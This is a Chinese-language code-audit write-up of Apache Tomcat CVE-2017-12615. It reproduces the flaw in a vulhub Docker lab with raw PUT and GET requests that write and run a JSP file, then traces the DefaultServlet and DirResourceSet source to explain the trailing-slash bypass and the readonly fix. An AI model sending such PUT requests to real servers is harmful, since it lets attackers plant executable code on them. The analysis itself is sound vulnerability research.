【代码审计】Tomcat 任意文件写入 CVE-2017-12615

网友投稿 270 2022-10-05


【代码审计】Tomcat 任意文件写入 CVE-2017-12615

0x00 环境搭建

直接 Docker 搭建即可

git clone https://github.com/vulhub/vulhub.git cd /vulhub/tomcat/CVE-2017-12615 sudo docker-compose build sudo docker-compose up -d

0x01 漏洞复现

直接使用 PUT 发起请求就可以上传任意文件,比如向 /teamssix.jsp/ 发起请求

PUT /teamssix.jsp/ HTTP/1.1 Host: 172.16.214.20:8080 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 26 <%out.print("TeamsSix");%>

HTTP/1.1 201 Content-Length: 0 Date: Wed, 15 Dec 2021 07:19:29 GMT Connection: close

服务端返回 201 说明创建成功,访问 /teamssix.jsp 可以看到文件成功被上传

GET /teamssix.jsp HTTP/1.1 Host: 172.16.214.20:8080 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close

HTTP/1.1 200 Set-Cookie: JSESSIONID=128419889W27F6C930EF27082B98D9FD; Path=/; HttpOnly Content-Type: text/html;charset=ISO-8859-1 Content-Length: 8 Date: Wed, 15 Dec 2021 07:19:35 GMT Connection: close TeamsSix

0x02 漏洞分析

Tomcat 在处理时有两个默认的 Servlet,分别为 DefaultServlet 和 JspServlet,具体配置如下:

default org.apache.catalina.servlets.DefaultServlet debug 0 listings false readonlyfalse 1 …… jsp org.apache.jasper.servlet.JspServlet fork false xpoweredBy false 3 …… default / jsp *.jsp *.jspx

从配置文件里可以看到对于后缀为 .jsp 和 .jspx 的请求由 JspServlet 处理,而其他的请求则由 DefaultServlet 处理。

所以当请求 /teamssix.jsp 时将会由 JspServlet 处理,无法触发漏洞;而请求 /teamssix.jsp/ 将绕过这个限制,交由 DefaultServlet 处理,这时就可以触发漏洞了。

要想实现一个 Servlet,就需要继承 HTTPServlet,找到 HTTPServlet 文件为 /tomcat/lib/servlet-api.jar!/javax/servlet/HTTPServlet 中找到 doPut 方法,然后找到 DefaultServlet 里重写的 doPut 方法路径为tomcat/lib/catalina.jar!/org/apache/catalina/servlets/DefaultServlet.class

查看 DefaultServlet 的 doPut 方法

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (this.readOnly) { resp.sendError(403); } else { String path = this.getRelativePath(req); WebResource resource = this.resources.getResource(path); DefaultServlet.Range range = this.parseContentRange(req, resp); Object resourceInputStream = null; try { if (range != null) { File contentFile = this.executePartialPut(req, range, path); resourceInputStream = new FileInputStream(contentFile); } else { resourceInputStream = req.getInputStream(); } if (this.resources.write(path, (InputStream)resourceInputStream, true)) { if (resource.exists()) { resp.setStatus(204); } else { resp.setStatus(201); } } else { resp.sendError(409); } } finally { if (resourceInputStream != null) { try { ((InputStream)resourceInputStream).close(); } catch (IOException var13) { } } } } }

从上面代码的第 2 行可以看到首先判断 readOnly 是否为真,如果为真则返回 403,因此可以直接把 web.xml 里的 DefaultServlet 的 readonly 由原来的 false 改为 true 就能防御这个漏洞了。

继续回到 DefaultServlet.class 里,在 DefaultServlet.class 里可以看到有个 write 函数,通过这个 write 函数代码跟踪到 tomcat/lib/catalina.jar!/org/apache/catalina/webresources/DirResourceSet.class 里的 write 函数

public boolean write(String path, InputStream is, boolean overwrite) { this.checkPath(path); if (is == null) { throw new NullPointerException(sm.getString("dirResourceSet.writeNpe")); } else if (this.isReadOnly()) { return false; } else { File dest = null; String webAppMount = this.getWebAppMount(); if (path.startsWith(webAppMount)) { dest = this.file(path.substring(webAppMount.length()), false); if (dest == null) { return false; } else if (dest.exists() && !overwrite) { return false; } else { try { if (overwrite) { Files.copy(is, dest.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING}); } else { Files.copy(is, dest.toPath(), new CopyOption[0]); } return true; } catch (IOException var7) { return false; } } } else { return false; } } }

在执行到dest = this.file(path.substring(webAppMount.length()), false); 时,path 会作为参数传入,执行 file 方法,file 方法部分代码如下

protected final File file(String name, boolean mustExist) { if (name.equals("/")) { name = ""; } File file = new File(this.fileBase, name);

在执行到 File file = new File(this.fileBase, name);时,会实例化一个 File 对象,fileBase 是 Web 应用所在的绝对路径。

这里的 name 就是传入的文件名,比如 /teamssix.jsp/,在 File 实例化的过程中会处理掉 /,因此 /teamssix.jsp/ 会变成 /teamssix.jsp

所以通过 PUT 请求,利用 /teamssix.jsp/ 可以达到任意文件上传的目的。


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:中睿天下荣登铅笔道2021真榜 [ 企业服务最具投资价值TOP30 ]
下一篇:关于Springboot如何获取IOC容器
相关文章

 发表评论

暂时没有评论,来抢沙发吧~